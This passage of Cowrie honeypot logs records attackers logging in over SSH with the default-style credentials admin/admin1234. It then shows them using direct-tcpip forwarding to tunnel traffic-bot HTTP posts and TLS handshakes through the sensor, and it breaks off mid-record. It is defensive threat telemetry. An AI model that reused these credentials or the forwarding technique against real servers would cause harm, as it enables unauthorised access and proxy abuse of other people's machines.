{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:37.596131Z","src_ip":"23.148.145.132","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:39.768072Z","src_ip":"23.148.145.132","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:40.261809Z","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:40.266346Z","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34312,"dst_ip":"159.203.135.109","dst_port":23,"session":"94aa4006a71e","protocol":"telnet","message":"New connection: 107.6.151.170:34312 (159.203.135.109:23) [session: 94aa4006a71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:40.388309Z"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:40.416285Z","src_ip":"23.175.50.51","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (X11; FreeBSD; Linux i386; rv:73.0) Gecko/20100101 Firefox/73.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1222\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=STkocmZzPkxwN35GU1dafg%3D%3D9h%2B4E8AUW4b3Rc%2F9fl8%2BdIyNXJMmss%2F7GrNq2ZgkAPJVbh%2Fiw3PcAVMBxH%2BjUzg6NP0E6YRky6K%2FWV2ez9hZFXEqqmRzBl%2BWu5E1BI6%2F%2BVLdmiqCBzVbBwJsuupa05PZ9n2q0M5uQrObCBkzGJlDm6ARST01HLIX80WnuLWSEivRTDUlP1cKqj%2FI3NeSZ6dUHSe0In6jPye5xCLn9PjCIB4NwNeuo8TiDhEjT0uA7jWU7TGxZO4YvvNMFEjX4gUU49XaxIR5UPh0socAvDmRmJSzr8jb81tz2Sr5fqB%2B%2F%2BSvZAj8TECTVh4DShr10%2B2HnivDujgD3Tsrn2FRv6kCDasI8pCoxaKnTdE7O06iVHLWHIJ7LLkfARaewO9n4MCBSaoC26MAPrE%2FVz3Zo2XrZM6xv8VJp53xpDl%2BXualruTh5AuNiybIoypbukeo1sd9C06Cn9qZw%2Bxm9GjywPmmu6s%2FA5jVOWpvm2oE8Sa2T0EL1QdV%2BKiwA4gQoCue7g1PvU%2FfN7KoNmwwsof%2BDkmSLkAS78nxAYO%2BkHXJhUFVam%2FMiz0sg76kxcRmxNRhJg3pHeoGjUduQevX%2BalL1jykSnyB1I7vGgT6N3Smd39X1ydP42kojZWgmy2qr0bUnoWe2Q%2F1QnrV9O3rkKJWOTv1quMP%2FHAEY%2B7%2FCLWMnOfaW0%2F6RK1V6fQuY7%2BbBwXsIEcNQWQxvEF1Xvr%2B%2BsONV%2FUtQ68oUfYyg9YBeNRJkuFTDVmLXfqr2CZzLoZmvoVSD1oWulmdY%2Fn7%2Fs5jb%2BAZ3SuVskxxLdDnBmAvUo9wfU2yzBCaZ6qoVYauqHcFrnopRxYO%2FHiGZuZftO2DYBpo%2FPn1U0RONX5lKDszO2s89av%2FzrC%2BD72hMWIfoS1qPvOred%2B4oqxyERFi0PoEDXic6fyFZLNCChzuiDapdcfc1u6FhqGSN7dNeUUegHh7beOcAO2mBZX4Y6bZc%2B%2BRbSXuqWQk%2BTW909kY1vdV1zMy4uKo2UT5oNQkz8sx3SLoZKFAXtQFy%2F5%2BAcsAefB%2Fp%2FX%2B%2F3ZX9mGRbASx9P%2BAyEGV7hHjQPdrwByGF4u1LmygJPyRONLP'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (X11; FreeBSD; Linux i386; rv:73.0) Gecko/20100101 Firefox/73.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1222\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=STkocmZzPkxwN35GU1dafg%3D%3D9h%2B4E8AUW4b3Rc%2F9fl8%2BdIyNXJMmss%2F7GrNq2ZgkAPJVbh%2Fiw3PcAVMBxH%2BjUzg6NP0E6YRky6K%2FWV2ez9hZFXEqqmRzBl%2BWu5E1BI6%2F%2BVLdmiqCBzVbBwJsuupa05PZ9n2q0M5uQrObCBkzGJlDm6ARST01HLIX80WnuLWSEivRTDUlP1cKqj%2FI3NeSZ6dUHSe0In6jPye5xCLn9PjCIB4NwNeuo8TiDhEjT0uA7jWU7TGxZO4YvvNMFEjX4gUU49XaxIR5UPh0socAvDmRmJSzr8jb81tz2Sr5fqB%2B%2F%2BSvZAj8TECTVh4DShr10%2B2HnivDujgD3Tsrn2FRv6kCDasI8pCoxaKnTdE7O06iVHLWHIJ7LLkfARaewO9n4MCBSaoC26MAPrE%2FVz3Zo2XrZM6xv8VJp53xpDl%2BXualruTh5AuNiybIoypbukeo1sd9C06Cn9qZw%2Bxm9GjywPmmu6s%2FA5jVOWpvm2oE8Sa2T0EL1QdV%2BKiwA4gQoCue7g1PvU%2FfN7KoNmwwsof%2BDkmSLkAS78nxAYO%2BkHXJhUFVam%2FMiz0sg76kxcRmxNRhJg3pHeoGjUduQevX%2BalL1jykSnyB1I7vGgT6N3Smd39X1ydP42kojZWgmy2qr0bUnoWe2Q%2F1QnrV9O3rkKJWOTv1quMP%2FHAEY%2B7%2FCLWMnOfaW0%2F6RK1V6fQuY7%2BbBwXsIEcNQWQxvEF1Xvr%2B%2BsONV%2FUtQ68oUfYyg9YBeNRJkuFTDVmLXfqr2CZzLoZmvoVSD1oWulmdY%2Fn7%2Fs5jb%2BAZ3SuVskxxLdDnBmAvUo9wfU2yzBCaZ6qoVYauqHcFrnopRxYO%2FHiGZuZftO2DYBpo%2FPn1U0RONX5lKDszO2s89av%2FzrC%2BD72hMWIfoS1qPvOred%2B4oqxyERFi0PoEDXic6fyFZLNCChzuiDapdcfc1u6FhqGSN7dNeUUegHh7beOcAO2mBZX4Y6bZc%2B%2BRbSXuqWQk%2BTW909kY1vdV1zMy4uKo2UT5oNQkz8sx3SLoZKFAXtQFy%2F5%2BAcsAefB%2Fp%2FX%2B%2F3ZX9mGRbASx9P%2BAyEGV7hHjQPdrwByGF4u1LmygJPyRONLP'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:40.419650Z","src_ip":"23.175.50.51","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:40.424947Z","src_ip":"23.175.50.51","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(b\\xfa\\x1c\\xcf4F\\x8a\\x9aM\\x07\\xe1\\x9c\\xcf\\xc0\\x1a7\\xd4\\xb4j\\xe1\\x13\\xf7^\\xeaW\\x10>\\x86#\\x8dF o\\xb4H\\x17\\x82(\\xc7\\x04\\xa7\\xe2z\\xef\\xd9\\xa9\\xf2\\xac\\xf5Jg\\x96\\x0b\\x04@\\xe4\\x87\\x9bM\\x8bS\\x05j2\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 ^\\xd6\\xf4\\xa5\\xd8\\xdf@\\xc6\\x1f\\xeagy\\xbag\\x99/o\\xa8H\\x12V=\\xdee\\xe52|H\\x14]\\xcd\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(b\\xfa\\x1c\\xcf4F\\x8a\\x9aM\\x07\\xe1\\x9c\\xcf\\xc0\\x1a7\\xd4\\xb4j\\xe1\\x13\\xf7^\\xeaW\\x10>\\x86#\\x8dF o\\xb4H\\x17\\x82(\\xc7\\x04\\xa7\\xe2z\\xef\\xd9\\xa9\\xf2\\xac\\xf5Jg\\x96\\x0b\\x04@\\xe4\\x87\\x9bM\\x8bS\\x05j2\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 ^\\xd6\\xf4\\xa5\\xd8\\xdf@\\xc6\\x1f\\xeagy\\xbag\\x99/o\\xa8H\\x12V=\\xdee\\xe52|H\\x14]\\xcd\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:40.427502Z","src_ip":"23.175.50.51","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:40.533428Z","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:40.590971Z","src_ip":"23.175.50.51","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaep\\xc6\\x86\\x7f8UU)8\\x8c\\x9a,\\xd7_\\x92\\x07\\xf6*v\\xc1\\xc4\\xa8a\\x87e\\xa2\\xe0L\\xb1\\x00u _\\xc2,\\xf005G\\xaf\\x99N\\x0b>\\xf6\\xf8\\'`\\xc5a\\xfb\\xb3\\xe6\\x9e\\xaemadS\\x18\\xc2\\x1a}\\xd2\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef\\x96\\x8d\\xf6R]\\xdf\\xddF\\xb2\\xa0G\\xd0\\xc4\\xf2\\x1b!s\\x13\\x01\\xb9\\xd6\\xf2\\xee\\xcc4o\\x0bK\\x97*\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaep\\xc6\\x86\\x7f8UU)8\\x8c\\x9a,\\xd7_\\x92\\x07\\xf6*v\\xc1\\xc4\\xa8a\\x87e\\xa2\\xe0L\\xb1\\x00u _\\xc2,\\xf005G\\xaf\\x99N\\x0b>\\xf6\\xf8\\'`\\xc5a\\xfb\\xb3\\xe6\\x9e\\xaemadS\\x18\\xc2\\x1a}\\xd2\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef\\x96\\x8d\\xf6R]\\xdf\\xddF\\xb2\\xa0G\\xd0\\xc4\\xf2\\x1b!s\\x13\\x01\\xb9\\xd6\\xf2\\xee\\xcc4o\\x0bK\\x97*\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:40.593925Z","src_ip":"23.175.50.51","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:47.717623Z","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:47.733096Z","src_ip":"23.148.145.132","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1204\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.1.1; BroadSign Xpress 1.0.15-6 B- (720) Build/JRO03H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 